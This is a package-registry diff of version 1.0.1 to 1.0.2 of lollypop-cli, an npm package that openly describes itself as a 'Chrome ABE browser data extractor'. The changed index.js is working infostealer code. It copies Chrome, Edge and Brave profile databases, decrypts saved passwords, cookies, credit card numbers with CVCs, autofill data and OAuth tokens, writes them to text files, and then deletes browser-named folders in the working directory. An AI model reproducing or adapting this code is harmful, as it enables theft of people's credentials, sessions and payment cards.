lollypop-cli 1.0.1 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js
CHANGED
|
@@ -1,9 +1,11 @@
|
|
|
1
1
|
'use strict';
|
|
2
2
|
|
|
3
3
|
const fs = require('fs');
|
|
4
|
+
const fsp = require('fs').promises;
|
|
4
5
|
const path = require('path');
|
|
5
6
|
const crypto = require('crypto');
|
|
6
7
|
const { execSync } = require('child_process');
|
|
8
|
+
const { Writable } = require('stream');
|
|
7
9
|
|
|
8
10
|
// ─── Locate chrome_elevator.node and chrome_decrypt.enc ─────────────────────
|
|
9
11
|
|
|
@@ -140,12 +142,26 @@ function copyDbSafe(source, dest) {
|
|
|
140
142
|
} catch { return false; }
|
|
141
143
|
}
|
|
142
144
|
|
|
143
|
-
|
|
145
|
+
// ─── Async writeStream helper ─────────────────────────────────────────────────
|
|
146
|
+
// Retourne une Promise qui se résout uniquement quand le fichier est entièrement flush sur le disque
|
|
147
|
+
|
|
148
|
+
function writeFileAsync(filePath, content) {
|
|
149
|
+
return new Promise((resolve, reject) => {
|
|
150
|
+
const stream = fs.createWriteStream(filePath);
|
|
151
|
+
stream.on('error', reject);
|
|
152
|
+
stream.on('finish', resolve);
|
|
153
|
+
stream.end(content);
|
|
154
|
+
});
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
// ─── withDb : async-safe ─────────────────────────────────────────────────────
|
|
158
|
+
|
|
159
|
+
async function withDb(dbPath, outputDir, tag, fn) {
|
|
144
160
|
const tmp = path.join(outputDir, `_tmp_${tag}.db`);
|
|
145
161
|
try {
|
|
146
162
|
if (!copyDbSafe(dbPath, tmp)) return;
|
|
147
163
|
const db = new Database(tmp, { readonly: true, fileMustExist: true });
|
|
148
|
-
try { fn(db); } finally { try { db.close(); } catch {} }
|
|
164
|
+
try { await fn(db); } finally { try { db.close(); } catch {} }
|
|
149
165
|
} catch {}
|
|
150
166
|
finally { try { if (fs.existsSync(tmp)) fs.unlinkSync(tmp); } catch {} }
|
|
151
167
|
}
|
|
@@ -173,15 +189,14 @@ function parseTokenProto(buf) {
|
|
|
173
189
|
return (r || t) ? t + r : null;
|
|
174
190
|
}
|
|
175
191
|
|
|
176
|
-
// ─── Extraction functions
|
|
192
|
+
// ─── Extraction functions (toutes async, attendent le flush disque) ──────────
|
|
177
193
|
|
|
178
|
-
function extractCookies(profilePath, outputDir, keyHex) {
|
|
194
|
+
async function extractCookies(profilePath, outputDir, keyHex) {
|
|
179
195
|
const src = path.join(profilePath, 'Network', 'Cookies');
|
|
180
196
|
if (!fs.existsSync(src)) return;
|
|
181
|
-
withDb(src, outputDir, 'cookies', db => {
|
|
197
|
+
await withDb(src, outputDir, 'cookies', async db => {
|
|
182
198
|
const rows = db.prepare('SELECT host_key, name, path, is_secure, expires_utc, encrypted_value FROM cookies').all();
|
|
183
|
-
const
|
|
184
|
-
out.write('# Netscape HTTP Cookie File\n# Generated by ace-sqlite1337\n\n');
|
|
199
|
+
const lines = ['# Netscape HTTP Cookie File\n# Generated by ace-sqlite1337\n'];
|
|
185
200
|
let count = 0;
|
|
186
201
|
for (const row of rows) {
|
|
187
202
|
if (!row.encrypted_value) continue;
|
|
@@ -192,92 +207,102 @@ function extractCookies(profilePath, outputDir, keyHex) {
|
|
|
192
207
|
const secure = row.is_secure ? 'TRUE' : 'FALSE';
|
|
193
208
|
let exp = 0;
|
|
194
209
|
if (row.expires_utc > 0) { exp = Math.floor(row.expires_utc / 1_000_000 - 11644473600); if (exp < 0) exp = 0; }
|
|
195
|
-
|
|
210
|
+
lines.push(`${domain}\t${flag}\t${row.path}\t${secure}\t${exp}\t${row.name}\t${val}`);
|
|
196
211
|
count++;
|
|
197
212
|
}
|
|
198
|
-
|
|
199
|
-
|
|
213
|
+
if (count > 0) {
|
|
214
|
+
await writeFileAsync(path.join(outputDir, 'cookies.txt'), lines.join('\n'));
|
|
215
|
+
console.log(` [+] Cookies: ${count} / ${rows.length}`);
|
|
216
|
+
}
|
|
200
217
|
});
|
|
201
218
|
}
|
|
202
219
|
|
|
203
|
-
function extractPasswords(profilePath, outputDir, keyHex) {
|
|
220
|
+
async function extractPasswords(profilePath, outputDir, keyHex) {
|
|
204
221
|
for (const dbName of ['Login Data', 'Login Data For Account']) {
|
|
205
222
|
const src = path.join(profilePath, dbName);
|
|
206
223
|
if (!fs.existsSync(src)) continue;
|
|
207
|
-
const tag
|
|
208
|
-
withDb(src, outputDir, tag, db => {
|
|
224
|
+
const tag = dbName === 'Login Data' ? 'passwords' : 'passwords_account';
|
|
225
|
+
await withDb(src, outputDir, tag, async db => {
|
|
209
226
|
const rows = db.prepare('SELECT origin_url, username_value, password_value FROM logins').all();
|
|
210
|
-
const
|
|
211
|
-
let count
|
|
227
|
+
const lines = [];
|
|
228
|
+
let count = 0;
|
|
212
229
|
for (const row of rows) {
|
|
213
230
|
if (!row.password_value) continue;
|
|
214
231
|
const pass = decryptAesGcm(row.password_value, keyHex);
|
|
215
232
|
if (pass === null) continue;
|
|
216
|
-
|
|
233
|
+
lines.push(`URL: ${row.origin_url}\nUser: ${row.username_value}\nPass: ${pass}\n${'-'.repeat(40)}`);
|
|
217
234
|
count++;
|
|
218
235
|
}
|
|
219
|
-
|
|
220
|
-
|
|
236
|
+
if (count > 0) {
|
|
237
|
+
await writeFileAsync(path.join(outputDir, tag + '.txt'), lines.join('\n'));
|
|
238
|
+
console.log(` [+] Passwords: ${count} (${dbName})`);
|
|
239
|
+
}
|
|
221
240
|
});
|
|
222
241
|
}
|
|
223
242
|
}
|
|
224
243
|
|
|
225
|
-
function extractHistory(profilePath, outputDir) {
|
|
244
|
+
async function extractHistory(profilePath, outputDir) {
|
|
226
245
|
const src = path.join(profilePath, 'History');
|
|
227
246
|
if (!fs.existsSync(src)) return;
|
|
228
|
-
withDb(src, outputDir, 'history', db => {
|
|
247
|
+
await withDb(src, outputDir, 'history', async db => {
|
|
229
248
|
const rows = db.prepare('SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 5000').all();
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
249
|
+
if (!rows.length) return;
|
|
250
|
+
const lines = rows.map(r => `URL: ${r.url}\nTitle: ${r.title}\nVisits: ${r.visit_count}\nLast: ${r.last_visit_time}\n${'-'.repeat(40)}`);
|
|
251
|
+
await writeFileAsync(path.join(outputDir, 'history.txt'), lines.join('\n'));
|
|
233
252
|
console.log(` [+] History: ${rows.length} items`);
|
|
234
253
|
});
|
|
235
254
|
}
|
|
236
255
|
|
|
237
|
-
function extractAutofill(profilePath, outputDir) {
|
|
256
|
+
async function extractAutofill(profilePath, outputDir) {
|
|
238
257
|
const src = path.join(profilePath, 'Web Data');
|
|
239
258
|
if (!fs.existsSync(src)) return;
|
|
240
|
-
withDb(src, outputDir, 'autofill', db => {
|
|
259
|
+
await withDb(src, outputDir, 'autofill', async db => {
|
|
241
260
|
let rows;
|
|
242
261
|
try { rows = db.prepare('SELECT name, value, date_created FROM autofill').all(); } catch { return; }
|
|
243
262
|
if (!rows.length) return;
|
|
244
|
-
const
|
|
245
|
-
|
|
246
|
-
out.end();
|
|
263
|
+
const lines = rows.map(r => `Name: ${r.name}\nValue: ${r.value}\nDate: ${r.date_created}\n${'-'.repeat(40)}`);
|
|
264
|
+
await writeFileAsync(path.join(outputDir, 'autofill.txt'), lines.join('\n'));
|
|
247
265
|
console.log(` [+] Autofill: ${rows.length} items`);
|
|
248
266
|
});
|
|
249
267
|
}
|
|
250
268
|
|
|
251
|
-
function extractCards(profilePath, outputDir, keyHex) {
|
|
269
|
+
async function extractCards(profilePath, outputDir, keyHex) {
|
|
252
270
|
const src = path.join(profilePath, 'Web Data');
|
|
253
271
|
if (!fs.existsSync(src)) return;
|
|
254
|
-
withDb(src, outputDir, 'cards', db => {
|
|
272
|
+
await withDb(src, outputDir, 'cards', async db => {
|
|
255
273
|
const cvcMap = {};
|
|
256
|
-
try {
|
|
274
|
+
try {
|
|
275
|
+
for (const row of db.prepare('SELECT guid, value_encrypted FROM local_stored_cvc').all()) {
|
|
276
|
+
const v = decryptAesGcm(row.value_encrypted, keyHex);
|
|
277
|
+
if (v) cvcMap[row.guid] = v;
|
|
278
|
+
}
|
|
279
|
+
} catch {}
|
|
257
280
|
let rows;
|
|
258
281
|
try { rows = db.prepare('SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards').all(); } catch { return; }
|
|
259
|
-
const
|
|
282
|
+
const lines = [];
|
|
260
283
|
let count = 0;
|
|
261
284
|
for (const row of rows) {
|
|
262
285
|
if (!row.card_number_encrypted) continue;
|
|
263
286
|
const num = decryptAesGcm(row.card_number_encrypted, keyHex);
|
|
264
287
|
if (num === null) continue;
|
|
265
|
-
|
|
288
|
+
lines.push(`Name: ${row.name_on_card}\nNum: ${num}\nExp: ${row.expiration_month}/${row.expiration_year}\nCVC: ${cvcMap[row.guid] || ''}\n${'-'.repeat(40)}`);
|
|
266
289
|
count++;
|
|
267
290
|
}
|
|
268
|
-
|
|
269
|
-
|
|
291
|
+
if (count > 0) {
|
|
292
|
+
await writeFileAsync(path.join(outputDir, 'cards.txt'), lines.join('\n'));
|
|
293
|
+
console.log(` [+] Cards: ${count}`);
|
|
294
|
+
}
|
|
270
295
|
});
|
|
271
296
|
}
|
|
272
297
|
|
|
273
|
-
function extractTokens(profilePath, outputDir, keyHex) {
|
|
298
|
+
async function extractTokens(profilePath, outputDir, keyHex) {
|
|
274
299
|
const src = path.join(profilePath, 'Web Data');
|
|
275
300
|
if (!fs.existsSync(src)) return;
|
|
276
|
-
withDb(src, outputDir, 'tokens', db => {
|
|
301
|
+
await withDb(src, outputDir, 'tokens', async db => {
|
|
277
302
|
let rows, hasBinding = true;
|
|
278
303
|
try { rows = db.prepare('SELECT service, encrypted_token, binding_key FROM token_service').all(); }
|
|
279
304
|
catch { hasBinding = false; try { rows = db.prepare('SELECT service, encrypted_token FROM token_service').all(); } catch { return; } }
|
|
280
|
-
const
|
|
305
|
+
const lines = [];
|
|
281
306
|
let count = 0;
|
|
282
307
|
for (const row of rows) {
|
|
283
308
|
if (!row.encrypted_token) continue;
|
|
@@ -286,17 +311,19 @@ function extractTokens(profilePath, outputDir, keyHex) {
|
|
|
286
311
|
let tok = parseTokenProto(plain) || plain.toString('utf8').replace(/[\x00-\x1f]/g, '').trim();
|
|
287
312
|
if (!tok) continue;
|
|
288
313
|
const bk = (hasBinding && row.binding_key) ? (decryptAesGcm(row.binding_key, keyHex) || '') : '';
|
|
289
|
-
|
|
314
|
+
lines.push(`Service: ${row.service}\nToken: ${tok}\nBinding: ${bk}\n${'-'.repeat(40)}`);
|
|
290
315
|
count++;
|
|
291
316
|
}
|
|
292
|
-
|
|
293
|
-
|
|
317
|
+
if (count > 0) {
|
|
318
|
+
await writeFileAsync(path.join(outputDir, 'tokens.txt'), lines.join('\n'));
|
|
319
|
+
console.log(` [+] Tokens: ${count}`);
|
|
320
|
+
}
|
|
294
321
|
});
|
|
295
322
|
}
|
|
296
323
|
|
|
297
|
-
// ─── Main export
|
|
324
|
+
// ─── Main export (maintenant async, attend que tout soit écrit sur disque) ───
|
|
298
325
|
|
|
299
|
-
function main(config = {}) {
|
|
326
|
+
async function main(config = {}) {
|
|
300
327
|
|
|
301
328
|
const browserList = config.browsers
|
|
302
329
|
? Object.entries(config.browsers).map(([key, val]) => ({ key, name: val.name || key, dir: val.path }))
|
|
@@ -322,17 +349,18 @@ function main(config = {}) {
|
|
|
322
349
|
for (const profile of profiles) {
|
|
323
350
|
const profilePath = path.join(browser.dir, profile);
|
|
324
351
|
const outputDir = path.join(baseOutputDir, browser.key, profile);
|
|
325
|
-
|
|
352
|
+
await fsp.mkdir(outputDir, { recursive: true });
|
|
326
353
|
|
|
327
354
|
const label = displayNames[profile] !== profile ? `${profile} (${displayNames[profile]})` : profile;
|
|
328
355
|
console.log(`\n Profile: ${label}`);
|
|
329
356
|
|
|
330
|
-
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
357
|
+
// Toutes les extractions sont await — on attend le flush disque avant de continuer
|
|
358
|
+
await extractCookies(profilePath, outputDir, keyResult.key);
|
|
359
|
+
await extractPasswords(profilePath, outputDir, keyResult.key);
|
|
360
|
+
await extractHistory(profilePath, outputDir);
|
|
361
|
+
await extractAutofill(profilePath, outputDir);
|
|
362
|
+
await extractCards(profilePath, outputDir, keyResult.key);
|
|
363
|
+
await extractTokens(profilePath, outputDir, keyResult.key);
|
|
336
364
|
}
|
|
337
365
|
console.log('');
|
|
338
366
|
}
|
|
@@ -342,7 +370,7 @@ function main(config = {}) {
|
|
|
342
370
|
console.log('=== Extraction Complete ===');
|
|
343
371
|
console.log(`All extracted data is in: ${baseOutputDir}`);
|
|
344
372
|
|
|
345
|
-
//
|
|
373
|
+
// Nettoyage des dossiers browser créés à côté du script appelant
|
|
346
374
|
const callerDir = process.cwd();
|
|
347
375
|
for (const name of ['Chrome', 'Edge', 'Brave', 'Brave Browser', 'chrome', 'edge', 'brave']) {
|
|
348
376
|
const folder = path.join(callerDir, name);
|
|
@@ -354,4 +382,4 @@ function main(config = {}) {
|
|
|
354
382
|
}
|
|
355
383
|
}
|
|
356
384
|
|
|
357
|
-
module.exports = { main };
|
|
385
|
+
module.exports = { main };
|
package/package.json
CHANGED
|
@@ -1,16 +1,16 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "lollypop-cli",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.2",
|
|
4
4
|
"description": "Chrome ABE browser data extractor (cookies, passwords, history, cards, tokens)",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"files": [
|
|
7
7
|
"index.js",
|
|
8
|
-
"
|
|
9
|
-
"
|
|
8
|
+
"lollypop2.node",
|
|
9
|
+
"lollypop.enc"
|
|
10
10
|
],
|
|
11
11
|
"dependencies": {
|
|
12
|
-
"better-sqlite3": "^
|
|
13
|
-
|
|
12
|
+
"better-sqlite3": "^9.6.0"
|
|
13
|
+
},
|
|
14
14
|
"publishConfig": {
|
|
15
15
|
"access": "public"
|
|
16
16
|
}
|
|
File without changes
|
|
File without changes
|